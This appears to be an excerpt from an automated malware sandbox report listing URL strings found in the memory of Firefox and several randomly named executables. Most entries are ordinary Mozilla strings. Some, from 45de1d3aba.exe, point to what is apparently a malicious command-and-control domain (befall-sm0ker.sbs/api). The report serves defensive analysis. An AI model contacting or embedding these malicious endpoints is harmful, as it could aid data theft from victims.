Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEnabled
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoEndpointURL
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoProviders
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/merinoTimeoutMs
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/networkPredictorgetAPI/highlight/window.gBrowser.selectedTabs
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/originsAlternativeEnable
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/originsDaysCutOff
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/outcomes/items/properties/priority
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesAlternativeEnable
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesHalfLifeDays
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesMediumWeight
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pagesNumSampledVisits
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketFeatureGate
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/pocketShowLessFrequentlyCap
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/preconnect
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestBlockingEnabled
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestEnabled
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredEnabled
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestNonSponsoredIndex
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScenario
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestScoreMap
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredEnabled
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/quickSuggestSponsoredIndex
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/richSuggestionsFeatureGate
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/serpEventTelemetryEnabled
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showExposureResults
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showImportAll
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/showSearchTermsFeatureGate
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsEnabled
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/tlsGreaseProb
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/trendingMaxResultsNoSearchMode
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/trendingRequireSearchMode
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/useNewWizard
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherFeatureGate
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywords
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLength
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/weatherKeywordsMinimumLengthCap
Source: firefox.exe, 0000001B.00000003.2695782863.0000013829282000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2695782863.00000138292D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2772425157.000001382AFA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2702626958.00000138292D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2702626958.000001382926E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2689155546.00000138292D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2695782863.000001382926E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2702626958.0000013829282000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2769981240.00000138310C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2769981240.00000138310D3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2692416858.00000138292D2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2859411669.000001C4D2BB4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2848871590.000001C4D2AC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D10A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D10F1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2914250859.000001C4D2C9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3316860917.000001C4D0E73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342388143.000001C4D2AC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2919487103.000001C4D2C32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3328484802.000001C4D1911000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3337386294.000001C4D2349000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: firefox.exe, 0000002C.00000002.3301606401.000001C4CE803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000002C.00000002.3181841016.000001C4CDBDA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3345787042.000001C4D2D27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0
Source: firefox.exe, 0000002C.00000002.3181841016.000001C4CDBDA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3345787042.000001C4D2D27000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000002C.00000003.2831894366.000001C4D2990000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://src.chromium.org/viewvc/chrome/trunk/src/third_party/cld/languages/internal/languages.cc
Source: firefox.exe, 0000002C.00000002.3301606401.000001C4CE803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000002C.00000002.3318362025.000001C4D10F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.ethiopic.org/Collation/OrderedLists.html.
Source: firefox.exe, 0000002C.00000003.2831894366.000001C4D2990000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2833334684.000001C4D29A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.google.com
Source: firefox.exe, 0000002C.00000002.3301606401.000001C4CE803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: baacd96df2.exe, baacd96df2.exe, 00000009.00000002.3093630798.000000006BF9D000.00000002.00000001.01000000.0000001A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000002C.00000002.3321544967.000001C4D11F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3317769906.000001C4D0FBE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2914690747.000001C4D11D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3321885151.000001C4D123C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3331525439.000001C4D1C26000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3039047640.000001C4C2303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3323746780.000001C4D148F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2917174998.000001C4D11D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3349046160.000001C4D31AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3311197760.000001C4CF003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2916654389.000001C4D1C86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE28F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2916654389.000001C4D1CDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3336560629.000001C4D22CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3331525439.000001C4D1CDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2916654389.000001C4D1CA9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2827041963.000001C4CEBDF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3328484802.000001C4D196E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000002C.00000003.2861197662.000001C4D1363000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3322964666.000001C4D1312000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul%
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1911000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3328484802.000001C4D1983000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulbrowser.safebrowsing.features.emailtrac
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1983000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/newlayout/xml/parsererror.xml);
Source: baacd96df2.exe, 00000009.00000002.3081437696.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3019423261.000000001D908000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: firefox.exe, 0000001F.00000002.2781385627.00000265326FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2778336470.0000026531A50000.00000004.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000003.2766022666.00000265326FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001F.00000003.2767146937.00000265326FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.videolan.org/x264.html
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001B.00000003.2674594406.000001382875A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673794070.000001382873C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673539276.000001382871F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673199246.0000013828500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2674959078.0000013828777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3328484802.000001C4D199B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: baacd96df2.exe, 00000009.00000003.2753678207.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3240273080.000001C4CE0FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3339542925.000001C4D265C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: 9225ca0b64.exe, 00000020.00000003.2837674647.0000000001391000.00000004.00000020.00020000.00000000.sdmp, 9225ca0b64.exe, 00000020.00000003.2839324198.000000000139B000.00000004.00000020.00020000.00000000.sdmp, 9225ca0b64.exe, 00000020.00000003.2838222593.000000000139A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3328484802.000001C4D1937000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000002C.00000002.3240273080.000001C4CE047000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/enhancer-for-youtube/
Source: firefox.exe, 0000002C.00000002.3240273080.000001C4CE047000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/facebook-container/
Source: firefox.exe, 0000002C.00000002.3240273080.000001C4CE047000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/reddit-enhancement-suite/
Source: firefox.exe, 0000002C.00000002.3240273080.000001C4CE047000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/to-google-translate/
Source: firefox.exe, 0000002C.00000002.3240273080.000001C4CE047000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/firefox/addon/wikipedia-context-menu-search/
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads-us.rd.linksynergy.com/as.php
Source: firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001B.00000003.2768613352.000001383226A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2768613352.0000013832261000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000002C.00000003.2929268933.000001C4D6977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001B.00000003.2768613352.000001383225D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000002C.00000003.2929268933.000001C4D6977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: 45de1d3aba.exe, 00000007.00000002.2955845498.0000000001142000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://befall-sm0ker.sbs/
Source: 45de1d3aba.exe, 00000007.00000002.2955845498.0000000001142000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://befall-sm0ker.sbs/J
Source: 45de1d3aba.exe, 00000007.00000002.2955845498.0000000001112000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 00000007.00000002.2955845498.0000000001142000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://befall-sm0ker.sbs/api
Source: 45de1d3aba.exe, 00000007.00000002.2955845498.0000000001142000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://befall-sm0ker.sbs/api5
Source: 45de1d3aba.exe, 00000007.00000002.2955845498.0000000001142000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://befall-sm0ker.sbs/apia;w
Source: 45de1d3aba.exe, 00000007.00000002.2955845498.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://befall-sm0ker.sbs:443/api
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3033993606.0000000023932000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2778926258.00000207D44EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2778713866.0000026531BE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3181841016.000001C4CDBB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3033993606.0000000023932000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2778926258.00000207D44EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2778713866.0000026531BE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3181841016.000001C4CDBB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 0000002C.00000002.3339542925.000001C4D26D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3237947447.000001C4CDFF8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3339542925.000001C4D26C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3240273080.000001C4CE003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1170143
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1189266
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1193802
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1207993
Source: firefox.exe, 0000002C.00000002.3321885151.000001C4D1278000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000002C.00000002.3322964666.000001C4D13B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180D
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1266220
